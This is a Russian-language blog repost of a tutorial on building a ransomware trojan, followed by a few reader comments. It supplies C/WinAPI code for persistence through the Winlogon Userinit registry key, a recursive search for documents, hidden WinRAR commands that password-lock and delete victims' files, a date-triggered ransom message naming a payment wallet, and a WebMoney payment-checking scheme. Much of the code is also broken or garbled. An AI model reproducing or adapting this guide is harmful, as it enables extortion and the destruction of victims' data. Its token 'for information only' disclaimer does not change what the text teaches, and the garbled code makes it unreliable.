Блоги ::: Познавательное ::: Шифруем и требуем выкуп! (Хакинг)

0x01| Интро

Ежедневно компьютерыне мошенники проводят различные fraud операции по всему миру. Кража кредитных карт, аккаунтов платежных систем и бануов, услуги DDoS, рассыл спама и многое другое. Но далеко не всегда для совершения своих злодеяний используют что-то новое. К примеру, рассмотрим кражу кредиток и аккаунтов. Здесь все сводится к
одному - либо к взлому online-шопа с кредитками, либо к заражению компьютеров наглых буржуев. По поводу взломов можно говорить чуть ли не вечно, так, что опустим, к тому же тематика статьи другого плана, плана протроянивания амеров. Итак, как же воруют кредитки? Чаще всего для этого используются специальное spyware, имена которым формграбберы и танграбберы - это программы, которые перехватывают вводимые в вэб-формы данные.К примеру, ты залогинился в админке своего сайта - тут на твоем компьютере сработал троян и перехватил логин и пароль для админки. Делается это чаще всего перехватом WinInet API, но мы не об этом. Впринципе, ничем формграббер от танграббера не отличаются, просто в танграббере уже прописаны хосты, откуда воровать эти самые данные. Такого типа spyware - пруд пруди. Вообщем, не буду тянуть кота за хвост и расскажу, что мы будем делать сегодня. Сидел я как-то в аське и n4n0bit подкинул линк. Зайдя на страничку я увидел описание работы нового трояна:

Zippo.A Trojan
Троянская программа Zippo шифрует данные и требует у жертвы выкуп.

Сообщается о троянской программе, которая шифрует данные на ПК пользователя -жертвы и затем пытается получить выкуп в 300 долларов за их восстановление. Этот троян под названием Troj/Zippo-A (также известный и как CryZip), ищет на ПК файлы, такие, как документы Word, базы данных, электронные таблицы, и собирает их затем в зашифрованные ZIP-файлы. Собрав и зашифровав таким образом данные, троян создает еще один файл, с помощью которого пострадавший пользователь компьютера узнает, что, чтобы восстановить данные, ему нужно перевести 300 долларов на счет в системе E-Gold. Специалисты Sophos, изучив программный код Zippo, установили, что пароль шифрования выглядит как C:\Program Files\Microsoft Visual Studio\VC98
Похоже, такой пароль был выбран автором троянской программы неслучайно. Так вирьмейкер пытался провести аналитиков, которые могли принять эту строчку за путь доступа к каталогу.

Zippo.A Trojan

Честно говоря, я впервый раз услышал о таком методе и мне стало интересно, как это все работает. А работает все очень просто. Именно отсутствие материалов на эту тему и новизна техники побудило меня написать эту статью. Сразу скажу, что написание и использование таких программ корается всеми мыслимыми и немыслимыми законами, а статья несет представляет из себя лишь ознакомительный материал. Да, кстати. Особых навоков l33t-c0d1ng'а тебе не понадобится, я все расписал как можно подробнее, начиная с самого автозапуска =). Поехали!

0x02| Алгоритм

Для начала, наверное стоит разобраться с алогоритмом трояна:

[1] Автозапуск с ОС.
[2] Поиск файлов по маске.
[3] Архивация файлов и генерация пароля.
[4] Вывод сообщения о $.
[5] Проверка перевода денег и возврат пароля.

Думаю, ничего неясного тут нет: после запуска прописываем себя в автозагрузку, затем ищем файлы по расширениям: *.doc, *.html, *.txt, *.xls, *.db, *.sql и архивируем их, устанавливая пароль на архивы. После выполнения работы выводим сообщение, в котором требуем перевести деньги на указанный счет. Ну, и соответственно, возвращаем пароль, если деньги были переведены.

0x03| Автозапуск

По традиции стоит начать с автозапуска. Для начала разберемся с тобой, как же мы будем старотовать. Если ты решил, что из win.ini или system.ini, то ты вероятно никогда не писал хотя бы самый простейший троян, или если писал, то очень давно, так как эти файлы мониторит все и вся: от антивирусов и на худой конец простых antispyware. Хотя это и достаточно просто. Вот какие команды надо выполнить на захваченной системе:

echo [windows] > C:\windows\win.ini
echo [run] C:\Windows\system32\trojan.exe

После этого следовало бы сделать проверку win.ini на наличие прописанного нами ранее трояна, дабы он сто раз не запускался. Все команды можно вызвать при помощи WinAPI функции ShellExecute:

ShellExecute(NULL, "open", "cmd.exe", "/c echo [windows] > C:\windows\win.ini", NULL, SW_HIDE).

Запускаем cmd.exe. Следующим параметром передаем ему свою команду: /c команда. Также обрати внимание на последний параметр – SW_HIDE, именно благодаря ему cmd.exe скрывается от глаз пользователя, чтобы его стало видно, измени параметр на SW_SHOW, но в нашеи случае, этого не надо. Впрочем, мы немного отвлеклись. Следующий варинат –
автозапуск из реестра: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run – список автозапуска explorer'a. Достаточно попсовый и уже негодный метод, таже история: антивирусы, antispyware, хотя большинство зверей его до сих пор используют. Кстати говоря, если тебя заинтересовала эта тема, то ты спокойно можешь прочесть
об этом в статье "Методы Автозапуска" в 81 (сентябрьском) выпуске журнала "Хакер". Вообщем, ближе к делу. Стартовать мы будем из под WinLogon'a, благодаря чему будем запускаться с привелегиями SYSTEM, которые, как тебе, наверное, известно - выше привелегий администратора. Запускаться будем из ключа userinit. Это находится тут:

Software\Microsof\Windows NT\CurrenetVersion\Winlogon

Если посмотришь в userinit то заметишь строчку: C:\WINDOWS\system32\userinit.exe, Да. Именно с запятой в конце. И изменим значение на:

C:\WINDOWS\system32\userinit.exe, C:\WINDOWS\system32\cmd.exe

Ничего не мешает нам дописать путь до трояна и таким методом замутить автозапуск. Приступим. Для начал скопируем свое тело в директорию /WINDOWS/system/0x48k-zip.exe. В WinAPI у нас есть для этого несколько функций, например GetWindowsDirectory и GetSystemDirectory. первая – вернет нам путь до папки с windows. Вторая - путь допапки system (НЕ system32). Обе имеют в себе два параметра:

LPTSTR lpBuffer, // адрес буфера для system/windows директории.
UINT uSize. // размер буффера lpBuffer.

Буффер можешь заюзать любой, размер которого будет равен uSize, а uSize будет равен 0xFF (FILENAMELEN), дефайни его в самом начале. Теперь нужно получить путь до самого себя, чтобы скопировать в системную директорию. Тут нам поможет функция GetModuleFileName(). У нее есть три параметра:

HMODULE hModule, // хэндл модуля для поиска
LPTSTR lpFilename, // буффер, куда запишется абсолютный путь до нашей exe
DWORD nSize // размер буффера lpFileName

Ну и определив все пути можно приступать к копированию в системную директорию при помощи CopyFile. Вот весь код:

char SystemDir[FILENAMELEN];
char InfetorsZipper[FILENAMELEN];
GetSystemDirectory(SystemDir,FILENAMELEN);
GetModuleFileName(GetModuleHandle(NULL),InfectorsZipper,FILENAMELEN)
strcpy(SystemDir,"\\0x48k-zip.exe"); // дописываем 0x48k-zip.exe к SystemDir
CopyFile(InfectorsZipper,SystemDir, true);

Половина работы уже сделана. Осталось записаться в userinit. Конечно, для записи в userinit строчки типа C:\WINDOWS\system32\userinit.exe, C:\WINDOWS\system\0x48k-zip.exe нам понадобится снова узнать путь к папке Windows и сложить две строчки, разделив запятой. Ничего сложного, перейдем лучше к самому реестру. Для работы с ним у нас есть просто куча функций. Для того чтобы открыть ключ используется функция RegCreateKey, а закрыть - RegCloseKey. Удалить можно при помощи RegDeleteKey, а установить новое значение параметра и создать его при помощи RegSetValueEx. На крайняк можешь воспользоваться классом TRegistry, это твое дело. Вот весь код:

HKEY hkey;
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsof\\Windows NT\\CurrenetVersion\\Winlogon", &hkey);
RegDeleteKey(hkey, "Userinit");
RegSetValueEx(hkey,"UserInit",0,REG_SZ,(LPBYTE)RegValue, strlen(RegValue) + 1);
RegCloseKey(hkey);

RegValue - это переменная, в которой будет храниться значение userinit'a.
С автозагрузкой закончили. Следует лишь отметить, что автозагрузка в нашем трое совершенно не обязтаельна. Можно просто запаковать все файлы и вывести мессаджбокс.

0x04| Поиск файлов по их расширению

Как ни странно, поиск файлов - это самая тяжелая часть кода нашего трояна. Хотя я бы и не сказал, что сложная, просто самая объемная. Одними функциями FindFirstFile и FindNextFile нам тут не обойтись, но они нам очень помогут в этом деле. Нам интересна также WIN32_FIND_DATA - структура, описываящая найденный файл. Итак, у FindFirstFile есть два параметра:

LPCTSTR lpFileNameй - указатель на имя файла, который мы ищем.
PWIN32_FIND_DATA lpFindFileData - указатель на структуру WIN32_FIND_DATA.

Функцией FindNextFile мы "отталкиваемся" от FindFirstFile, то есть ищем с предыдущего найденнего файла:

HANDLE hFindFile, - хэндл FindFirstFile.
LPWIN32_FIND_DATA lpFindFileData - указатель на структуру WIN32_FIND_DATA.

А вот так выглядит сама структура WIN32_FIND_DATA:

typedef struct _WIN32_FIND_DATA {
DWORD dwFileAttributes;
FILETIME ftCreationTime;
FILETIME ftLastAccessTime;
FILETIME ftLastWriteTime;
DWORD nFileSizeHigh;
DWORD nFileSizeLow;
DWORD dwReserved0;
DWORD dwReserved1;
TCHAR cFileName[ MAX_PATH ];
TCHAR cAlternateFileName[ 14 ];
} WIN32_FIND_DATA;

Описаывать это у меня не хватит сил, так, что глянь в MSDN. Там реально много параметров. Допустим нам нужны только txt-файлы и все они на диске C. Объявим их в самом начале:

char* path = "C:\";
char* mask = "*.txt";

Так как нам понадобится уж точно не один тип файлов - создай массив:

char* mask[10] = {"*.txt", "*.doc", "*.xls", "*.php", "*.psd", "*.htm", "*.html", "*.sql", "*.mdb", "*.ppt"};

А потом мути все через цикл: for(int i = 0; i = 10; i++), соответственно i и будет элементом массива mask (mask[i]).
Вообщем, тут не должно быть вопросов. Начнем с поиска файлов:

void FindDir(char* path,char* mask)
{
WIN32_FIND_DATA finddata;
HANDLE hfound;
char newpath[MAX_PATH];
char fpath[MAX_PATH];
char pathifile[MAX_PATH]; // абсолютный путь до файла
char delpath[MAX_PATH]; // начальная папка для поиска

strcpy(fpath,path);
strcat(fpath,"\\");
strcpy(delpath,fpath);
strcat(fpath,mask);

if((hfound=FindFirstFile(fpath,finddata))!=INVALID_HANDLE_VALUE)
{
if(!(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&&strcmp(finddata.cFileName,"..")
&&strcmp(finddata.cFileName,"."))
{//нашли первый файл в папке path}

while(FindNextFile(hfound,&finddata))
{
if(!(finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&&strcmp(finddata.cFileName,"..")
&&strcmp(finddata.cFileName,"."))
{
strcpy(pathifile, delpath);
strcat(pathifile, finddata.cFileName); // cFileName - имя файла.

// RarFile(pathifile); // это мы архивируем файл (об этом позже)
}
}
}

FindClose(hfound); // заканчиваем работу

StrCmp - это функция сравнения двух строк, если неясно, то тебе следует почитать статьи на тему строковых классов.
INVALID_HANDLE_VALUE - это возвращаемое значение функции FindFirstFile, если функция обломалась. Получить инфу об ошибке можно при помощи GetLastError. Что есть "." и ".."? Выполни dir:

C:\fraudarchivator>dir
Том в устройстве C не имеет метки.
Серийный номер тома: 3C43-F9C3

Содержимое папки C:\fraudarchivator

25.05.2006 22:23 . <----[текущая директория]
25.05.2006 22:23 .. <----[предыдущая директория (корень диска C)]
25.05.2006 22:23 22 Hell_Knights.txt
1 файлов 22 байт
2 папок 93 416 091 648 байт свободно

Ясно? =)
А теперь ищем подпапки:

strcpy(fpath,path);
strcat(fpath,"\\*.*");

if((hfound=FindFirstFile(fpath,&finddata))!=INVALID_HANDLE_VALUE)
{
if((finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&&strcmp(finddata.cFileName,"..")
&&strcmp(finddata.cFileName,"."))
{
strcpy(newpath,path);
strcat(newpath,"\\");
strcat(newpath,finddata.cFileName);
FindDir(newpath,mask);
}

while(FindNextFile(hfound,&finddata))
{
if((finddata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)&&strcmp(finddata.cFileName,"..")
&&strcmp(finddata.cFileName,"."))
{
strcpy(newpath,path);
strcat(newpath,"\\");
strcat(newpath,finddata.cFileName);
FindDir(newpath,mask);
}
}
}
}

Ничего непонятного вроде нет. Да и тема уже заезжена до дыр.

0x05| Архивация файлов и генерация пароля

Чтож... для начала нам надо сгенерировать пароль для последующей архивации. Я предлогаю не хранить пасс в теле программе. Имхо это очень палевно. Я предлогаю следующий вариант: достаем имя владельца системы, организацию и версию системы, а затем шифруем ее XOR-алгоритмом по заданному ключу. Результат работы будет соответствен паролю для архивов. Всю инфу будем выдирать из реестра.
Сразу приведу код:

#define KEY "0x48kcr3wRul3zz"

//...
HKEY hKey;

unsigned char owner[1024], organization[1024], CurrentBuildNumber[1024]
ProductName[1024], CurrentVersion[1024];

DWORD ownerlen=sizeof(owner), CurrentBuildNumberLen=sizeof(CurrentBuildNumber),
organizationlen=sizeof(organization), ProductNameLen=sizeof(ProductName),
CurrentVersionLen = sizeof(CurrentVersion);

RegOpenKeyEx(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion",0,KEY_QUERY_VALUE,&hKey);
RegQueryValueEx(hKey, "RegisteredOwner", NULL, NULL, owner, &ownerlen);
RegQueryValueEx(hKey, "RegisteredOrganization", NULL, NULL, organization, &organizationlen);
RegQueryValueEx(hKey, "ProductName", NULL, NULL, ProductName, &ProductNameLen);
RegQueryValueEx(hKey, "CurrentVersion", NULL, NULL, CurrentVersion, &CurrentVersionLen);
RegQueryValuEx(hKey, "CurrentBuildNumber", NULL, NULL, CurrentBuildNumber, &CurrentBuildNumberLen);

char *opsys[] = ProductName + CurrentVersion + CurrentBuildNumber + owner + organization;
char *owner[] = opsys ^ "KEY";

Единственный, возможно, неясный момент в коде - это символ ^. На самом деле благодаря именно символу "степени" мы ксорим наши данные. Об это я уже упомянал в одной из своих статей и процетирую снова: в PHP и C++ есть специальная функция. Работает это примерно так:

ксоренный_текст=наш_текс^ключ_шифрования;

Короче говоря, символ "^" и является тем страшным ксором. Дешифровка производится точно также. Готово? Примимся к самой основной части нашего трояна - архивации. Совсем не обязательно писать архиватор или использовать уже готовые компоненты для этого. Практически на любом компьютере установлены WinZIP или WinRAR. Так почему бы не использовать их? Возможно звучит бредово, но я расскажу как это эксплуатировать. Во-первых, эти архиваторы поддерживают работу через консоль.Уже ясно? Отлично. Имхо, самый популярный архиватор - WinRAR. WinZIP уже мало кто использует, но дам тебе совет: лучше реализуй для сразу для двух, так как если WinRAR не будет, то мы сразу заюзаем WinZIP (если, он конечно же тоже будет заинсталлен). В конце статьи я привел полный листенг синтаксиса под WinRAR, так как он понадобится нам прямо сейчас. Посмотрел? OK, вот смотри:

C:\Program Files\WinRAR\WinRAR A -ac -df -ph4ckm3 -- C:\txt.rar C:\adad\asd.txt

Такой командой мы добавили asd.txt в архив и сразу удалили его, а затем установили пароль h4ckm3. Видишь как все просто? Когда файлы будут паковаться будем видно окно с процессом архивации. Но тут нам поможет SW_HIDE, благо запускать команду мы будем при помощи функции ShellExecute:

ShellExecute(NULL, "open", "cmd.exe",
"/c Crogram Files\WinRAR>WinRAR A -ac -df -ph4ckm3 -- C:\txt.rar C:\adad\asd.txt",
NULL, SW_HIDE);

Есть еще одна маленькая проблема - как узнать полный путь к WinRAR? Ведь по стандарту ставят хоть и большинство, но не все. Вообще в данного рода программах обычно учитываются максимально тяжелые условия выживания. Этот вопрос встает также перед начинающими вирьмейкерам, которые хотят написать своего email-червя. Тут проблема в том, что большинство почтовых фильтров блокируют аттачи с исполняемыми (EXE) файлами, кроме того, мэйл-клиенты сами их блочат =). Поэтому перед отправкой их приходится зиповать. Ответ на поставленный вопрос, как узнать путь к WinRAR прост. Его путь можно спокойно узнать из реестра, как и большинства других программ. Запускай regedit.exe и лезь сюда:
Software\Microsoft\Windows\CurrentVersion\App Paths\WinRAR.exe.

Вот именно там есть параметр Path, откуда мы и считаем путь до архиватора. А если в функции RegQueryValueEx указать второй не Path, а "", то скопируется значение "по умолчанию". Вот, держи код:

//...
void RARFile(char *file)
{
HKEY hKey;
unsigned char WinRARPath[MAX_PATH];
char RarPath[MAX_PATH],param[MAX_PATH],rnd[10];
int result = 0;
DWORD WinRarPathLen=sizeof(WinRARPath);
int i = 0;

result = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\AppPaths\\WinRAR.exe",
0,KEY_QUERY_VALUE,
&hKey);

if (result == ERROR_SUCCESS) // если ключ открылся и все OK, то...
{
RegQueryValueEx(hKey,"",0,NULL,WinRarPath,&WinRarPathLen);

while(WinRarPath[i]!=0) {
RarPath[i]=WinRarPath[i];
i++;
}
RarPath[i] = 0;

// запутался с strcpy, strcat (!)

GetSystemTime(&genrar); // генерация имен архивов
srand(time.wSecond + time.wMinute + time.wHour);
itoa(rand(), genrarname, 10);
strcpy(genrarname, ".rar");

strcpy(RarPath, "A -ac -df -p"); // параметры запуска WinRAR через консоль.
strcpy(RarPath, owner); // owner - сгенерированный XOR-пароль.
strcpy(RarPath, " -- ")
strcpy(RarPath, "C:\")
strcpy(RarPath, genrarname); // genrarname - сгенерированное имя архива.
strcpy(RarPath, " ");
strcpy(RarPath, file); // file - найденный файл
strcat(RarPath, "/c ");

ShellExecute(NULL, "open", "cmd.exe", RarPath, NULL, SW_HIDE);

}else{
MessageBox(0,"WinZIP Packing (else)", "здесь можно намутить тоже самое, что и с WinRAR, но только с WinZIP",0);
}
}

Все в коде уже должно быть ясно, но кроме одного - что есть ERROr_SUCCESS? Открой справочник по WinAPI и глянь, что может вернуть функция RegOpenKeyEx, тогда все станет ясно. Вообщем ERRORC_SUCCESS означает то, что такой ключ существует и весь последующий код не будет бесполезен. Да кстати... по поводу WinZIP. Тот же алгоритм, только команды другие. Ключ в реестре: Software\\Microsoft\\Windows\\CurrentVersion\\AppPaths\\winzip32.exe
Все? Почти. Генерация имен архивов идет благодаря получению времени функцией GetSystemTime, а полученный результат рандомится. Далее..

0x06| Вывод сообщения

Безусловно, нужно вывести пользователю сообщение о том, что... он задолжал нам денег и получит пароль к архивам после того как переведет n'ую сумму на указанный кошелек Web-Money. Возможно тут хватит и одного MessageBox'a, но уж лучше сделать некий эффект "логической бомбы". То есть в определнный день вывести это сообщение пользователям, чтобы не попасть в антивирусные базы раньше времени, вообщем ты вкурил. Наш зверек активируется 06.06.06 =). Сделать это можно при помощи функции GetSystemTime.
Смотри пример:

//...
GetSystemTime(&logicbomb);
int Day = logicbomb.wDay;
int Month = logicbomb.wMonth;
int Year = logicbomb.wYear;
if (wYear >= 2006 && wDay >= 6 && wMonth >= 6)
{
MessageBox(0, ".::[ Money <-> Password ]::.",
" .::[ Money <-> Password ]::.\n\r"
"Sorry. But your computer was defeated. All your info was archived with password. \n\r"
"If u wanna take ur docs back, pay 200 WMZ ($) to Z3133731337\n\r"
"ну и все такое..\n\r", 0)
}

Вообще, можешь придумать что-нибудь пооригинальней чем это. После вывода мессадж бокса можно сразу же удалить себя, так будет надежнее в дальнешей работе.
Теперь, пожалуй следует перейти к следующей, не менее важной части нашего трояна...

0x07| Получение денег и отдача паролей

У нас есть два вариант отдачи паролей. Первый заключается в автоматизации процесса, то есть при полчении денег сервер должен отдать клиенту _ГЕНЕРАТОР_ПАРОЛЕЙ_ и _УДАЛЯЛКУ_ТРОЯНА_. Пусть он и не захочет ее сначало запускать, но так или иначе ему придется в последней надежде на светлое будущее =). Я думаю написать анинсталлер трояна и генератор паролей тебе не составит труда, тем более готовый код уже есть, просто выведи MessageBox со сгенеренным паролем. Второй - тоже самое, только линк на генератор паролей будешь давать ты сам =) К примеру, говорим юзеру, чтобы в качестве примечания к платежу указал свой E-MAIL. Как я уже говорил, работать мы будем с WebMoney. Возможно это не самое лучшее решение и если ты скажешь, что оно совершенно не пригодно для заморских буржуев, то я, пожалуй, соглашусь. Почему именно WM? Сказать честно, я все время работал именно с этой системой и с другими почти не знаком. Вообщем, не будем сейчас о плохом =). Я думаю, что ты без труда реализуешь проверку передачи денег при использовании других платежных систем. Покупал ли ты что нибудь в интернете по WM, там где все автоматизированно? Например, интернет карту - перевел
n'ую сумму и получил взамен пин-код карты? Так вот, именно благодаря скриптам WMSigner все так автоматизируется (очень редко пишут все сами). Перечислю некоторые интерфейсы этой системы:

[1] Выписывание счета от одного участника (магазина, ресурса) другому участнику (покупателю) системы
[2] Проверка состояния выписанного ранее счета (оплачен счет или нет).
[3] Перевод средств с одного кошелька на другой.
[4] Перевод средств с одного кошелька на другой с протекцией сделки.
[5] Проверка выполнения операции по переводу средств между кошельками.
[6] Отправка сообщения произвольному WM-идентификатору по внуренней почте WMT
[7] Идентификация и аутентификация клиента - владельца WebMoney Keeper Classic на стороннем сайте, проекте, ресурсе.
[8] Получение информации о принадлежности кошелька wm-идентификатору.

Естесственно, WM-ключи хранятся на сервере. Чтобы понять как работает вся эта система и настроить ее - читай статью "Механика WM-процессинга" из сентябрьского (81) журнала "Хакер". Я представляю всю работу следующим образом:

[1] Достаем мыло юзера из примечания. Сравниваем N-сумму с переведенной.
[2] Шлем на это мыло текст, типа спасибо за оплату ну и т.д, а вот свой генератор и анинсталлер троя можете скачать оттуда: http://1nf3ct0r.nm.ru/anti_rar_trojan.exe
[3] Естесственно, файлы на 1nf3ct0r.nm.ru заливаются не автоматически и желательно сделать побольше зеркал
анинсталлера.

Скрипты пиши сам, если под WM, то основа у тебя уже есть.

0x08| Заключение

Это очень простая схема. Все можно сделать намного серьезнее и даже не зиповать, а шифровать файлы каким-либо
алгоритмом. Удаленные файлы в большинстве своих случаев можно восстановить, поэтому задумайся над использованием
какого-либо хитрого алгоритма безвозвратного удаления файлов, благо об этом было написано не один раз. О риске
использования такой схемы тоже можно говорить очень долго. Вообщем, не советую тебе писать такие вещи и тем более
использовать их. Статья лишь для ознакомительных целей. Отмазывайся сам. Удач.

P.S: Если есть какие идеи, вопросы, алгоритмы, куски кода и замечания - сразу пиши мне (1nf3ct0r[fuck_spamers]mail.ru).
Я постараюсь вылушать, помочь, учесть ну и т.д...

1.


<<< Предыдущая работа

Вернуться в блоги
Шифруем и требуем выкуп! (Хакинг)
Действительно хитро! [u]Взято с внехи, точно нен помню откуда, давно у меня уже.[/u] Знаю, картинка не впопад, это чтоб завлечь! (=
Автор: mr. Twister
Дата: 29.01.2007  19:56
Комментариев: 6
Просмотров: 439
Оценка: 7 (1|2|2|1|1) [2]

Вернуться на главную
Вы не можете оценивать

КОММЕНТАРИИ К РАБОТЕ:
mr. Twister ::: комментарий от 01.02.2007 | 14:41
  Герой (ур.14)
Очки: 12378
Город: 1
Тв. работ: 80
Рег: 26.01.2007 (3187)
Ответ для Nerevarin 31.01.2007 | 17:02:

Ты такой добряк!


--------------------
1
Nerevarin* ::: комментарий от 31.01.2007 | 17:02
Nerevarin Наставник (ур.16)
Очки: 21560
Город: Новочебоксарск
Тв. работ: 119
Рег: 07.10.2006 (1013)
Ответ для mr. Twister 31.01.2007 | 16:51:

всегда пожалуйста!!


--------------------
Моя совесть чиста-я ей не пользуюсь!
Nerevarin* ::: комментарий от 31.01.2007 | 17:02
Nerevarin Наставник (ур.16)
Очки: 21560
Город: Новочебоксарск
Тв. работ: 119
Рег: 07.10.2006 (1013)
Ответ для mr. Twister 31.01.2007 | 16:51:

всегда пожалуйста!!


--------------------
Моя совесть чиста-я ей не пользуюсь!
mr. Twister ::: комментарий от 31.01.2007 | 16:51
  Герой (ур.14)
Очки: 12378
Город: 1
Тв. работ: 80
Рег: 26.01.2007 (3187)
Спасибо тем, кто оценил!


--------------------
1
Nerevarin* ::: комментарий от 30.01.2007 | 11:20
Nerevarin Наставник (ур.16)
Очки: 21560
Город: Новочебоксарск
Тв. работ: 119
Рег: 07.10.2006 (1013)
Только попробуй мне прислать, сам завирусю!


--------------------
Моя совесть чиста-я ей не пользуюсь!
Dragon2* ::: комментарий от 30.01.2007 | 01:58
Dragon2 Герой (ур.14)
Очки: 13852
Город: Радужный
Тв. работ: 102
Рег: 16.01.2007 (2532)
Ну и ну!Пора написать свой собственный вирус и посылать его на другие машины


--------------------
Здесь тебе не тут!